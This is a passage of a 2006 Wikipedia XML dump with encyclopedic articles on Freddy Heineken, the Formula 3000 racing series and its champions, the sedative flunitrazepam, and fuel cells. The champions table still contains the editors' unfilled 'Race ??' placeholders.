[[Category:U.S. fighter aircraft 1940-1949|FU4]]

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    </revision>
  </page>
  <page>
    <title>Freddy Heineken</title>
    <id>11723</id>
    <revision>
      <id>38523716</id>
      <timestamp>2006-02-06T22:29:50Z</timestamp>
      <contributor>
        <ip>80.126.141.29</ip>
      </contributor>
      <text xml:space="preserve">{{cleanup-verify}}

'''Alfred H. (Freddy) Heineken''' ([[November 4]], [[1923]] - [[January 3]] [[2002]]) was a major stock holder and president of [[Heineken]], the [[beer]] brewery bought in [[1864]] by his grandfather [[Gerard Adriaan Heineken]] in [[Amsterdam]], [[Netherlands]]. Heineken was born in [[Amsterdam]]. 

He entered the service of the company (which by then was no longer owned by the family) on [[June 1|1 June]] [[1941]] and bought back stock several years later, to ensure the family controlled the company again.

By the time of his resignation as chairman of the board in [[1989]] he had turned Heineken from a [[brand]] that was famous in the Netherlands to a brand that was famous [[world]] wide.

==Kidnapping==
Freddy Heineken and his chauffeur Ab Doderer were [[kidnap]]ped in [[1983]] and released on a ransom of 35 million guilders (about 16 million [[Euro]]s). The kidnappers [[Cor van Hout]], [[Willem Holleeder]], [[Jan Boelaard]], [[Martin Erkamps]] and [[Frans Meijer]] were eventually caught. The first four served their [[prison]] term in the Netherlands, but Meijer escaped and lived in [[Paraguay]] for years, until he was discovered and imprisoned there. 

Freddy Heineken married Lucille Cummins, an [[United States|American]] from a [[Kentucky]] family of [[bourbon whiskey]] distillers. They had one child, [[Charlene Heineken]] who inherited his fortune on his passing in 2002.

[[Category:1923 births|Heineken, Freddy]]
[[Category:2002 deaths|Heineken, Freddy]]
[[Category:Dutch businesspeople|Heineken, Freddy]]
[[Category:Brewing magnates|Heineken, Freddy]]
[[Category:Kidnappings|Heineken, Freddy]]
[[de:Alfred Heineken]]
[[nl:Freddy Heineken]]</text>
    </revision>
  </page>
  <page>
    <title>Formula 3000</title>
    <id>11724</id>
    <revision>
      <id>41740557</id>
      <timestamp>2006-03-01T12:01:34Z</timestamp>
      <contributor>
        <username>Alphax</username>
        <id>108048</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/193.63.62.188|193.63.62.188]] to last version by DabMachine</comment>
      <text xml:space="preserve">[[Image:F3000.gif|right|122]]'''Formula 3000''' is a type of [[formula racing]].

In [[1985]], the [[Fédération Internationale de l'Automobile]] (FIA) created the Formula 3000 championship to become the final preparatory step for drivers hoping to enter the [[Formula One]] championship.  [[Formula Two]] had become too expensive, and was dominated by works-run cars with factory engines; the hope was that Formula 3000 would offer quicker, cheaper, more open racing.

=== Engines ===

Formula 3000 replaced [[Formula Two]], and was so named because the engines used initially were 3.0&amp;nbsp;L (3000 cc) [[Cosworth]] DFV engines made obsolete by the change of Formula One from the 3.0&amp;nbsp;L normally aspirated engines around this time. The rules permitted any 90-degree V8 engine. As well as the Cosworth, a Honda engine based on an Indy V8 by [[Judd (engine)|John Judd]] also appeared; a rumoured [[Lamborghini]] V8 never raced. In later years, a [[Mugen Motorsports|Mugen]]-[[Honda]] V8 became the thing to have, eclipsing the [[Cosworth]] DFV; [[Cosworth]] later responded with the brand new AC engine. Costs, not unlike the senior series, were getting out of control.

=== Chassis ===

The first chassis from [[March Engineering|March]] and [[Ralt]] were largely based upon existing [[Formula Two]] designs, although [[Lola]]'s entry was based on and looked very much like an [[Indycar]]. A few smaller teams tried obsolete three-litre [[Formula One]] cars (from [[Tyrrell Racing|Tyrrell]], [[Williams Grand Prix Engineering|Williams]], [[Minardi]] and RAM), with little success. The first few years of the championship saw March drivers establishing a superiority over Ralt. The form book was rewritten in 1988 with the entry of the ambitious [[Reynard Motorsport|Reynard]] marque with a brand new chassis; Reynard had won their first race in every formula they'd entered. This would continue in F3000. The next couple of years saw Lola improve slightly and March slip, but both were crushed by Reynard teams and by the mid-90s, F3000 was a virtual Reynard [[spec series]], although [[Lola]] did return with a promising car and the Japanese [[Footwork]] and [[Dome Engineering|Dome]] chassis were seen in Europe. [[Dallara]] briefly tried the series before moving up to [[Formula One]], and [[AGS]] dabbled in the series for the first few years. At least one unraced F3000 chassis existed - the Wagner fitted with a straight-six short-stroke BMW. This was converted into a sports car, however.

=== Politics ===

The series was not without controversy. In 1989 the eligibility of the [[Reynard Motorsport|Reynard]] chassis was challenged - it was raced with a different (but safer) nose to the one that had been crash tested. This season also saw problems with driver changes - the cost of F3000 was escalating to the point that teams were finding it difficult to run drivers for a whole season. A &quot;two driver changes per car per season&quot; rule meant that some cars had to sit idle while drivers with budgets couldn't race them. In 1991 the performance of some Italian teams attracted attention - they had started using &quot;jungle juice&quot; [[Formula One]] fuel, worth an estimated 15&amp;nbsp;bhp -- giving their drivers a significant advantage. In the early years of the formula there was much concern about safety, with a high number of accidents resulting in injuries to drivers. Fortunately, only one driver was killed in the European championship - [[Marco Campos]] in the very last round of the 1995 series.

=== Races ===

Formula 3000 races during the &quot;open chassis&quot; era tended to be of about 100-120 miles in distance, held at major circuits, either headlining meetings or paired with other international meetings. The &quot;jewel in the crown&quot; of the F3000 season was traditionally the [[Pau Grand Prix]] street race, rivalled for a few years by the [[Birmingham]] round. Most major circuits in [[France]], [[Italy]], [[Spain]], [[Germany]] and the [[United Kingdom]] saw the series visit at least once.

=== Other F3000 series ===

A small British Formula 3000 series ran for several years in the late 1980s and early 1990s, usually using year-old cars. An Italian series has now evolved into a second-level European one, running the previous generation of spec Lolas. The [[American Racing Series]], a predecessor of [[Indy Lights]], ran with March F3000 chassis (called [[Wildcat (car)|Wildcat]]s) and [[Buick]] V6 engines, before turning to Lolas some years later.

Japan persisted with [[Formula Two]] rules for a couple of years after the demise of F2 in Europe, but then adopted basically F3000 rules as [[Formula Nippon]]. The [[Formula Nippon]] series, unlike European F3000, featured a lot of competition between tyre companies, and tended to feature highly-paid drivers (both local and European) in cars that tended to be more developed and tested than those in the European series. The Mugen engine dominated this series, and was also extremely competitive in European F3000.

The European series remained unchanged for about a decade, but increasing costs meant the popularity of the series was waning by the mid [[1990s]].

=== The spec-chassis years ===

In [[1996]], new rules were introduced. These introduced a single engine (a detuned Judd V8 engine, re-engineered by and badged as a [[Zytek]]) and chassis ([[Lola]]), to go along with tyre standardization ([[Avon Tyres|Avon]]) introduced a number of years earlier. The following year the calendar was combined with that of Formula One, so the series became support races for the Grand Prix. These measures decreased costs and popularity grew. In [[2000]], the series was restricted to 15 teams of two cars each.

However, by [[2002]] expenses were once more very high and the number of entries rapidly dwindled.  Formula 3000 was experiencing tough competition with cheaper formulae, such as [[European F3000]] (using ex-FIA 1999 and 2002 Lola chassis) and [[Formula Nissan]] (also known as Telefonica World Series or Superfund World Series), as well as the North American [[CART]] series.  While drivers from these series such as [[Juan Pablo Montoya]] (CART), [[Cristiano da Matta]] (CART), and [[Felipe Massa]] (EF3000) found top rides in Formula One, the F3000 drivers seemed to have inordinate difficulty in moving onwards.  By the end of [[2003]], car counts had fallen to new lows.

The [[2004]] season was the last F3000 campaign, due in part to dwindling field sizes. For [[2005]] it has been replaced with a new series known as [[GP2 Series|GP2]], with [[Renault]] backing.

=== Champions ===

Over the years, the following drivers have become champion:

{|class=&quot;wikitable&quot;
|-
!Season
!Driver
!Team / Car
![[Pole position|Poles]]
!Wins
!Podiums
!Fastest&lt;br&gt;Laps
![[List of Formula Three Thousand Championship pointscoring systems|Points]]
!Clinched
!Margin (pnts)
|- align=&quot;center&quot;
|[[1985 Formula 3000 season|1985]]
|align=&quot;left&quot;|{{flagicon|West Germany}} [[Christian Danner]]
|align=&quot;left&quot;|BS Automotive&lt;br&gt;[[March Engineering|March]]-[[Cosworth]]
|2
|4
|7
|4
|52
|[[1985 ????|Race ??]]{{ref|d?|?}} of ??
|7
|- align=&quot;center&quot;
|[[1986 Formula 3000 season|1986]]
|align=&quot;left&quot;|{{flagicon|Italy}} [[Ivan Capelli]]
|align=&quot;left&quot;|[[Genoa (racing team)|Genoa]]&lt;br&gt;[[March Engineering|March]]-[[Cosworth]]
|3
|2
|6
|1
|39
|[[1986 ????|Race ??]]{{ref|d?|?}} of ??
|7
|- align=&quot;center&quot;
|[[1987 Formula 3000 season|1987]]
|align=&quot;left&quot;|{{flagicon|Italy}} [[Stefano Modena]]
|align=&quot;left&quot;|[[Onyx (racing team)|Onyx]]&lt;br&gt;[[March Engineering|March]]-[[Cosworth]]
|0
|3
|4
|1
|41
|[[1987 ????|Race ??]]{{ref|d?|?}} of ??
|8
|- align=&quot;center&quot;
|[[1988 Formula 3000 season|1988]]
|align=&quot;left&quot;|{{flagicon|Brazil}} [[Roberto Moreno]]
|align=&quot;left&quot;|Bromley Motorsport&lt;br&gt;[[Reynard Motorsport|Reynard]]-[[Cosworth]]
|3
|4
|4
|1
|43
|[[1988 ????|Race ??]]{{ref|d?|?}} of ??
|9
|- align=&quot;center&quot;
|[[1989 Formula 3000 season|1989]]
|align=&quot;left&quot;|{{flagicon|France}} [[Jean Alesi]] 
|align=&quot;left&quot;|[[Jordan (racing team)|Eddie Jordan Racing]]&lt;br&gt;[[Reynard Motorsport|Reynard]]-[[Cosworth]]
|2
|3
|4
|1
|39
|[[1990 ????|Race ??]]{{ref|d?|?}} of ??
|0
|- align=&quot;center&quot;
|[[1990 Formula 3000 season|1989]]
|align=&quot;left&quot;|{{flagicon|France}} [[Erik Comas]]  
|align=&quot;left&quot;|[[DAMS]]&lt;br&gt;[[Lola]]-[[Mugen Motorsports|Mugen]]
|3
|4
|6
|1
|51
|[[1990 ????|Race ??]]{{ref|d?|?}} of ??
|21
|- align=&quot;center&quot;
|[[1991 Formula 3000 season|1991]]
|align=&quot;left&quot;|{{flagicon|Brazil}} [[Christian Fittipaldi]]
|align=&quot;left&quot;|[[Pacific Racing]]&lt;br&gt;[[Reynard Motorsport|Reynard]]-[[Mugen Motorsports|Mugen]]
|4
|2
|7
|1
|47
|[[1991 ????|Race ??]]{{ref|d?|?}} of ??
|5
|- align=&quot;center&quot;
|[[1992 Formula One season|1992]]
|align=&quot;left&quot;|{{flagicon|Italy}} [[Luca Badoer]]
|align=&quot;left&quot;|Crypton Engineering&lt;br&gt;[[Reynard Motorsport|Reynard]]-[[Cosworth]]
|5
|4
|5
|3
|46
|[[1992 ????|Race ??]]{{ref|d?|?}} of ??
|12
|- align=&quot;center&quot;
|[[1993 Formula 3000 season|1993]]
|align=&quot;left&quot;|{{flagicon|France}} [[Olivier Panis]]
|align=&quot;left&quot;|[[DAMS]]&lt;br&gt;[[Reynard Motorsport|Reynard]]-[[Cosworth]]
|2
|3
|4
|2
|32
|[[1993 ????|Race ??]]{{ref|d?|?}} of ??
|1
|- align=&quot;center&quot;
|[[1994 Formula 3000 season|1994]]
|align=&quot;left&quot;|{{flagicon|France}} [[Jean-Christophe Boullion]]
|align=&quot;left&quot;|[[DAMS]]&lt;br&gt;[[Reynard Motorsport|Reynard]]-[[Cosworth]]
|0
|3
|4
|1
|36
|[[1994 ????|Race ??]]{{ref|d?|?}} of ??
|2
|- align=&quot;center&quot;
|[[1995 Formula 3000 season|1995]]
|align=&quot;left&quot;|{{flagicon|Italy}} [[Vincenzo Sospiri]]
|align=&quot;left&quot;|[[Super Nova Racing]]&lt;br&gt;[[Reynard Motorsport|Reynard]]-[[Cosworth]]
|0
|3
|5
|0
|42
|[[1995 ????|Race ??]]{{ref|d?|?}} of ??
|13
|- align=&quot;center&quot;
|[[1996 Formula 3000 season|1996]]
|align=&quot;left&quot;|{{flagicon|Germany}} [[Jörg Müller|Jörg Müller]]
|align=&quot;left&quot;|RSM Marko&lt;br&gt;[[Lola]]-[[Zytek]]
|2
|2
|8
|4
|52
|[[1996 ????|Race ??]]{{ref|d?|?}} of ??
|26
|- align=&quot;center&quot;
|[[1997 Formula 3000 season|1997]]
|align=&quot;left&quot;|{{flagicon|Brazil}} [[Ricardo Zonta]]
|align=&quot;left&quot;|[[Super Nova Racing]]&lt;br&gt;[[Lola]]-[[Zytek]]
|4
|3
|5
|4
|39
|[[1997 ????|Race ??]]{{ref|d?|?}} of ??
|1.5
|- align=&quot;center&quot;
|[[1998 Formula 3000 season|1998]]
|align=&quot;left&quot;|{{flagicon|Colombia}} [[Juan Pablo Montoya]]
|align=&quot;left&quot;|[[Super Nova Racing]]&lt;br&gt;[[Lola]]-[[Zytek]]
|7
|4
|9
|5
|65
|[[1998 ????|Race ??]]{{ref|d?|?}} of ??
|7
|- align=&quot;center&quot;
|[[1999 Formula 3000 season|1999]]
|align=&quot;left&quot;|{{flagicon|Germany}} [[Nick Heidfeld]]
|align=&quot;left&quot;|West Competition&lt;br&gt;[[Lola]]-[[Zytek]]
|4
|4
|7
|6
|59
|[[1999 ????|Race ??]]{{ref|d?|?}} of ??
|29
|- align=&quot;center&quot;
|[[2000 Formula 3000 season|2000]]
|align=&quot;left&quot;|{{flagicon|Brazil}} [[Bruno Junqueira]]
|align=&quot;left&quot;|[[Petrobras]]&lt;br&gt;[[Lola]]-[[Zytek]]
|2
|4
|5
|1
|48
|[[2000 ????|Race ??]]{{ref|d?|?}} of ??
|3
|- align=&quot;center&quot;
|[[2001 Formula 3000 season|2001]]
|align=&quot;left&quot;|{{flagicon|United Kingdom}} [[Justin Wilson]]
|align=&quot;left&quot;|[[Nordic Racing]]&lt;br&gt;[[Lola]]-[[Zytek]]
|2
|3
|10
|1
|71
|[[2001 ????|Race ??]]{{ref|d?|?}} of ??
|32
|- align=&quot;center&quot;
|[[2002 Formula 3000 season|2002]]
|align=&quot;left&quot;|{{flagicon|France}} [[Sebastien Bourdais]]
|align=&quot;left&quot;|[[Super Nova Racing]]&lt;br&gt;[[Lola]]-[[Zytek]]
|6
|3
|8
|3
|56
|[[2002 ????|Race ??]]{{ref|d?|?}} of ??
|2
|- align=&quot;center&quot;
|[[2003 Formula 3000 season|2003]]
|align=&quot;left&quot;|{{flagicon|Sweden}} [[Björn Wirdheim]] 
|align=&quot;left&quot;|[[Arden (racing team)|Arden International]]&lt;br&gt;[[Lola]]-[[Zytek]]
|5
|3
|9
|7
|78
|[[2003 ????|Race ??]]{{ref|d?|?}} of ??
|35
|- align=&quot;center&quot;
|[[2004 Formula 3000 season|2004]]
|align=&quot;left&quot;|{{flagicon|Italy}} [[Vitantonio Liuzzi]]
|align=&quot;left&quot;|[[Arden (racing team)|Arden International]]&lt;br&gt;[[Lola]]-[[Zytek]]
|9
|7
|9
|3
|86
|[[2004 ????|Race ??]]{{ref|d?|?}} of ??
|30
|}

Four past F3000 champions have never appeared in an F1 race:  Bourdais, Junqueira and Wirdheim all race in [[CART|Champ Cars]]. Müller is now BMW pilot in [[WTCC]] [[touring car racing]] after having been a test driver for the BMW-[[WilliamsF1]] F1 project in 1999 as well as a racer of the [[BMW V12]] Le Mans winner.  Sospiri has attempted to qualify for a race and failed to make it, having raced for a highly unprepared team with poor equipment. Wirdheim has been third driver in practice sessions for [[Jaguar Racing]], but has never participated in a race.

Three of them have won a F1 Grand Prix:  Alesi, Panis and Montoya (who also won the [[Indianapolis 500|Indy 500]] once). No Formula Two or Formula 3000 champion has ever become World Champion ([[Alberto Ascari]] won the World Championship for two years running when all qualifying races apart from the [[Indianapolis 500]] were run to Formula Two, though).

[[Category:Racing formulas|3000]]
[[de:Formel 3000]]
[[fi:Formula 3000]]
[[fr:Formule 3000]]
[[it:Formula 3000]]
[[ja:&amp;#12501;&amp;#12457;&amp;#12540;&amp;#12511;&amp;#12517;&amp;#12521;3000]]
[[sv:Formel 3000]]
[[zh:F3000&amp;#36093;&amp;#36554;]]</text>
    </revision>
  </page>
  <page>
    <title>Flunitrazepam</title>
    <id>11725</id>
    <revision>
      <id>41519485</id>
      <timestamp>2006-02-27T22:27:43Z</timestamp>
      <contributor>
        <ip>203.215.124.212</ip>
      </contributor>
      <comment>/* Use as a [[recreational drug]] */</comment>
      <text xml:space="preserve">{{Drugbox|
|IUPAC_name = ''6-(2-fluorophenyl)-2-methyl-9-nitro-&lt;br&gt;2,5-diazabicyclo[5.4.0]undeca-5,8,10,12-tetraen-3-one''
| image={{PAGENAME}}.png
| width=120
| CAS_number=1622-62-4
| ATC_prefix=N05
| ATC_suffix=?
| ATC_supplemental=
| PubChem=3380
| DrugBank=?
| chemical_formula = C&lt;sub&gt;16&lt;/sub&gt;H&lt;sub&gt;12&lt;/sub&gt;FN&lt;sub&gt;3&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;
| molecular_weight = 313.3
| bioavailability= ?
| metabolism = [[Liver|Hepatic]]
| elimination_half-life= 18-26 hours
| excretion =  [[Kidney|Renal]]
| pregnancy_category = ?
| legal_status = [[Controlled Substances Act|Schedule III]](US)
| routes_of_administration= Oral
}}
'''Flunitrazepam''' (formerly marketed under the trade name '''Rohypnol''' in the United States) is a drug which is a [[benzodiazepine]] derivative. It has powerful [[sedative]], [[anxiolytic]], and [[skeletal muscle relaxant]] properties.

==History==
Flunitrazepam was first synthesized in the early [[1970s]] by [[Hoffmann-La_Roche|Roche]] and was used in hospitals when deep sedation was needed. It first entered the commercial market in Europe in [[1975]], and in the [[1980s]] it began to be available in other countries.

It originally came in 1mg, 2mg, and 5mg sizes, but due to its potency and potential for abuse, the higher doses were taken off the market and it is now only available in 1mg. 

==Pharmacology==
Like other [[benzodiazepine]]s, flunitrazepam's pharmacological effects include sedation, muscle relaxation, reduction in anxiety, and prevention of convulsions. However, flunitrazepam's sedative effects are approximately 7 to 10 times more potent than [[diazepam]]. The effects of flunitrazepam appear approximately 15 to 20 minutes after oral administration, and last for approximately four to six hours. Some residual effects can persist up to 12 hours or more after administration.

==Medical Uses==
Flunitrazepam has not been approved by the [[Food and Drug Administration]] for medical use in the [[United States]].

==Illegal Uses==
=== Use as a [[date rape]] drug ===
Flunitrazepam is known to induce [[anterograde amnesia]] in sufficient doses; individuals are unable to remember certain events that they experienced while under the influence of the drug. This effect is particularly dangerous when flunitrazepam is used to aid in the commission of [[sexual assault]]; victims may not be able to clearly recall the assault, the assailant, or the events surrounding the assault.

It is difficult to estimate just how many flunitrazepam-facilitated [[rape]]s have occurred in the United States. Very often, biological samples are taken from the victim at a time when the effects of the drug have already passed and only residual amounts remain in the body fluids. These residual amounts are difficult, and sometimes impossible, to detect using standard screening assays available in the United States. If flunitrazepam exposure is to be detected at all, urine samples need to be collected within 72 hours and subjected to sensitive analytical tests. The problem is compounded by the onset of amnesia after ingestion of the drug, which causes the victim to be uncertain about the facts surrounding the rape. This uncertainty may lead to critical delays or even reluctance to report the rape and provide appropriate biological samples for testing. If a person suspects that he or she is the victim of a flunitrazepam-facilitated rape, he or she should get laboratory testing for flunitrazepam as soon as possible.

It must be noted that an inability to remember events, including sexual encounters, is not conclusive evidence of having consumed a drugged drink:  [[Drunkenness]] itself causes blackouts, sleepiness, and a reduction in inhibitions.  Only a timely screening for flunitrazepam can demonstrate its use.

===Use for [[theft]]===
In the United Kingdom, the use of flunitrazepam and other &quot;date rape&quot; drugs is becoming widespread as a means of sedating victims and stealing from them. It is estimated that up to 2000 men and women are robbed each year after being spiked with powerful sedatives [http://www.guardian.co.uk/crime/article/0,2763,1376956,00.html], making drug-assisted robbery a more common problem than drug-assisted rape.

In December [[2004]], [[Selina Hakki]] was found guilty of using flunitrazepam to drug wealthy men and rob them of their clothes and accessories in the [[UK]].

===Use as a [[recreational drug]]===
Although flunitrazepam has become widely known for its use as a date-rape drug, it is used more frequently as a recreational drug. It is used by high school and college students, street gang members, rave party attendees, and [[heroin]] and [[cocaine]] users (who call a dose of flunitrazepam a &quot;roofie&quot;) for recreational purposes, including:

* To produce profound intoxication 
* To boost the high produced by [[heroin]], or ease the anxiety and/or sleeplessness of withdrawal
* To counteract the side effects of stimulants (e.g. insomnia, paranoia, jitteryness)
* To &quot;soften&quot; the so-called &quot;crash&quot; which follows heavy usage of stimulants, such as cocaine or methamphetamine
* To improve sex drive and appetite.

Flunitrazepam is usually consumed orally, and is often combined with [[alcoholic beverage|alcohol]]. It is also occasionally insufflated (i.e. tablets are crushed into powder and snorted).

==Side Effects==
Flunitrazepam is considered to be one of the most addictive of the benzodiazepines, along with [[clonazepam]], [[midazolam]], [[temazepam]], [[lorazepam]] and [[alprazolam]]. Its use causes several notable side effects, including:

* Drowsiness
* Loss of motor control
** [[Dizziness]]
** Lack of coordination 
* Slurred speech
* [[Confusion]]
* [[Gastrointestinal]] disturbances, lasting 12 or more hours. 
* [[Respiratory depression]] in higher doses 

Long-term use of flunitrazepam can result in psychological and physical dependence and the appearance of [[withdrawal]] symptoms when the drug is discontinued. Flunitrazepam impairs [[cognitive]] and psychomotor functions, affecting reaction time and driving skill. The use of this drug in combination with alcohol potentiates these side effects, and can lead to [[toxicity]].

==Legal Status==
Flunitrazepam is a [[Schedule III]] drug under the [[Convention on Psychotropic Substances]][http://www.incb.org/pdf/e/list/green.pdf]. Flunitrazepam has never been approved for medical use in the [[United States]], and it was placed into Schedule IV of the [[Controlled Substances Act]] in [[1984]], and was later moved to Schedule III. 

According to FDA Associate Director for Domestic and International Drug Control Nicholas Reuter[http://www.hhs.gov/asl/testify/t990311b.html]:

:Flunitrazepam was &quot;''temporarily controlled in [[Controlled Substances Act|Schedule IV]] pursuant to a treaty obligation under the [[1971]] Convention on Psychotropic Substances. At the time flunitrazepam was placed temporarily in Schedule IV . . . there was no evidence of abuse or trafficking of the drug in the United States.''&quot;

Rohypnol is currently under consideration to be moved to a [[Controlled Substances Act|Schedule I]] substance, and is considered as such in the States of  Florida, Idaho, Minnesota, New Hampshire, New Mexico, North Dakota, Oklahoma, and Pennsylvania.

{{UnitedStatesCode|21|841}} and {{UnitedStatesCode|21|952}} provide for very stiff prison terms for possession of flunitrazepam, including life in prison if death or serious bodily or emotional injury results from the use of flunitrazepam.

== See also ==
* [[Progesterex]]

== External Links ==
* [http://www.inchem.org/documents/pims/pharm/pim021.htm Inchem - Flunitrazepam]
* [http://www.chm.bris.ac.uk/motm/rohypnol/rohypnolh.htm Molecule of the Month]
* [http://www.hhs.gov/asl/testify/t990311b.html Statement on &quot;Date Rape&quot; Drugs by Nicholas Reuter, M.P.H.], Mar. 11, 1999.

{{Benzodiazepines}}
[[Category:Benzodiazepines]]
[[Category:Sedatives]]
[[Category:Hypnotics]]
[[Category:Anticonvulsants]]
[[Category:Muscle relaxants]]
[[Category:Anxiolytics]]
[[Category:Schedule III controlled substances]]


[[de:Flunitrazepam]]
[[fr:Flunitrazépam]]
[[hu:Flunitrazepam]]
[[ja:フルニトラゼパム]]
[[pl:Flunitrazepam]]
[[pt:Flunitrazepam]]
[[ru:Флунитразепам]]
[[sv:Flunitrazepam]]</text>
    </revision>
  </page>
  <page>
    <title>Fuel cell</title>
    <id>11729</id>
    <revision>
      <id>41891524</id>
      <timestamp>2006-03-02T12:00:09Z</timestamp>
      <contributor>
        <username>Wayward</username>
        <id>184087</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/194.165.219.2|194.165.219.2]] ([[User talk:194.165.219.2|talk]]) to last version by DV8 2XL</comment>
      <text xml:space="preserve">{{alternateuses}}

[[Image:Toyota FCHV.jpg|thumb|right|250px|Toyota FCHV fuel cell vehicle]]

A '''fuel cell''' is an [[electrochemistry|electrochemical]] device similar to a [[Battery (electricity)|battery]], but differing from the latter in that it is designed for continuous replenishment of the reactants consumed; i.e. it produces electricity from an external fuel supply of [[hydrogen]] and [[oxygen]] as opposed to the limited internal energy storage capacity of a battery. Additionally, the electrodes within a battery react and change as a battery is charged or discharged, whereas a fuel cell's electrodes are catalytic and relatively stable. 

Typical [[reactant]]s used in a fuel cell are [[hydrogen]] on the [[anode]] side and [[oxygen]] on the [[cathode]] side (a hydrogen cell). Usually, reactants flow in and reaction products flow out.  Virtually continuous long-term operation is feasible as long as these flows are maintained.

Fuel cells are often considered to be very attractive in modern applications for their high efficiency and ideally emission-free use, in contrast to currently more common fuels such as [[methane]] or [[natural gas]] that generate [[carbon dioxide]]. The only [[by-product]] of a fuel cell operating on pure hydrogen is [[water vapor]].  There is concern, however, about the energy-consuming process of manufacturing the hydrogen. Manufacturing hydrogen requires a hydrogen carrier (typically [[fossil fuel]]s, though water is an alternative), as well as electricity, which is widely generated by conventional fuels ([[fossil fuel]] or [[nuclear power]]). While [[alternative energy]] sources like [[wind energy|wind]] and [[solar power]] could also be used, they are prohibitively expensive at present. In this regard, hydrogen fuel technology itself cannot be called truly independent of fossil fuel dependence, unless a totally nuclear option was considered.

== Technology ==
[[Image:Fuel cell NASA p48600ac.jpg|thumb|250px|right|Hydrogen fuel cell. The actual fuel cell stack is the layered cubic structure in the centre of the image]]
Fuel cells are not constrained by the maximum [[Carnot heat engine|Carnot cycle]] efficiency as combustion engines are because they do not operate with a thermal cycle. Consequently, they can have very high efficiencies in converting [[chemical energy]] to [[electrical energy]].

In the archetypal example of a [[hydrogen]]/[[oxygen]] proton-exchange membrane (or &quot;polymer electrolyte&quot;) fuel cell (PEMFC), a [[proton]]-conducting polymer membrane separates the [[anode]] and [[cathode]] sides. Each side has an [[electrode]], typically carbon paper coated with [[platinum]] [[catalyst]].

On the anode side, hydrogen diffuses to the anode catalyst where it dissociates into protons and [[electron]]s. The protons are conducted through the membrane to the cathode, but the electrons are forced to travel in an external [[Electrical network|circuit]] (supplying power) because the membrane is electrically insulating.

On the cathode catalyst, oxygen [[molecule]]s react with the electrons (which have travelled through the external circuit) and protons to form water. 

In this example, the only waste product is [[water vapor]] and/or liquid [[water]]. Even under freezing conditions water shall be transported out of the stack. Humidification is needed to guarantee standard conditions in the stack intake. Through this additional parasitic power the efficiency and also the agility of the fuel cell is worse with lower ambient temperatures. Another issue is the CO tolerance of the anode which is limited.

Fuel cells cannot store energy like a battery, but in some applications, like stand-alone power plants based on discontinuous sources (solar, wind power), they are combined with [[electrolysis|electrolyzers]] and storage systems to form an energy storage system. The round-trip efficiency (electricity to hydrogen and back to electricity) of such plants is between 30 and 40%.

In addition to pure hydrogen, researchers have used other, hydrogen-carrying fuels for fuel cells, including diesel, methanol and chemical hydrides.

== Efficiency ==
A fuel cell typically converts the chemical energy of its fuel into electricity with an efficiency of about 50%. The efficiency is however very dependent on the current through the fuel cell: the more current drawn, the lower the efficiency.

It is also important to take losses due to production, transportation and storage into account. Fuel cell vehicles running on compressed hydrogen may have a power plant to wheel efficiency of 22% if the hydrogen is stored as high-pressure gas, and 17% if it is stored as [[liquid hydrogen]] (efficiency of Hydrogen Fuel Cell, Diesel-SOFC-Hybrid and Battery Electric Vehicles, Ulf Bossel, European Fuel Cell Forum).

In &quot;combined heat and power&quot; applications, a fuel cell is placed in a location where heat is also needed. The fuel-to-electricity conversion efficiency need not be very high (typically 15-20%), because the heat is also being utilized. Some heat is lost with the exhaust gas just like in a normal furnace, so the combined heat and power efficiency is still lower than 100%, typically around 80%.

== Economy ==

Currently, fuel cells are a very expensive alternative to [[internal combustion engine]]s. It is common to hear that the main cost is the platinum catalyst, but currently the bipolar plates connecting one cell to the next are much more important in determining the cost. These need thorough machining and tedious labor to assemble, especially since most work is done by hand or with limited [[automation]] because of the small quantities sold. Optimists expect that, when demand will rise and mass production will become sustainable, prices will sink rapidly.

In 2002, typical cells had a catalyst content of USD 1000 per kW of electric power output, which is expected, by 2007, to be reduced to USD 30 per kW [http://www.fuelcellcontrol.com/evs19.html]. It is important to note, however, that the world reserves of platinum are insufficient (in fact, only one fourth) to support a mass conversion of all vehicles to fuel cells: a significant introduction of vehicles with present technology would therefore make the market value of platinum soar.

[[General Motors]] believes that fuel cell vehicles will be available at market prices around the end of this decade. Other companies are also working hard to make fuel cells a reality. [[Ballard Power Systems]], a pioneer of the technology, have agreed to be a fuel cell supplier to many automobile companies, including [[Ford]], [[Volvo]], [[Mazda]], [[General Motors]], and [[Honda]]. Ballard's success right now has been at being able to lower the cost: they have developed a catalyst with 1/10 the amount of platinum than before.

== History ==

The principle of the fuel cell was discovered by Swiss scientist [[Christian Friedrich Schönbein]] in [[1838]] and published in the January [[1839]] edition of the &quot;Philosophical Magazine&quot; [http://www.efcf.com/media/ep010813.shtml]. Based on this work, the first fuel cell was developed by Welsh scientist [[William Robert Grove|Sir William Grove]].  A sketch was published in [[1843]], but it wasn't until [[1959]] that British engineer [[Francis Thomas Bacon]] successfully developed a 5 kW stationary fuel cell.  In 1959, a team led by Harry Ihrig built a 15 kW fuel cell tractor for Allis-Chalmers that was demonstrated across the US at state fairs.  This system used potassium hydroxide as the electrolyte and compressed hydrogen and oxygen as the reactants.  Later, in [[1959]], Bacon and his colleagues demonstrated a practical five-kilowatt unit capable of powering a welding machine, which led, in the 1960s to Bacon's patents being licensed by Pratt and Whitney from the U.S. where the concepts were used in the U.S. space program to supply electricity and drinking water (hydrogen and oxygen being readily available from the spacecraft tanks). Extremely expensive materials were used and the fuel cells required very pure hydrogen and oxygen.  Early fuel cells tended to require inconveniently high operating temperatures that were a problem in many applications. However, fuel cells were seen to be desirable due to the large amounts of [[fuel]] available (hydrogen &amp; oxygen).

Further technological advances in the 1980s and 1990s by people such as Geoffrey Ballard, the founder of the well-known Canadian fuel cell company Ballard Power Systems Inc., brought developments like the use of [[Nafion]], a cheaper and less fragile material, as the membrane [[electrolyte]], and reductions in the quantity of expensive [[platinum]] [[catalyst]] required, making the prospect of fuel cells in consumer applications such as [[automobile]]s more or less realistic. (See [[Hydrogen car]])

== The fuel cell industry ==

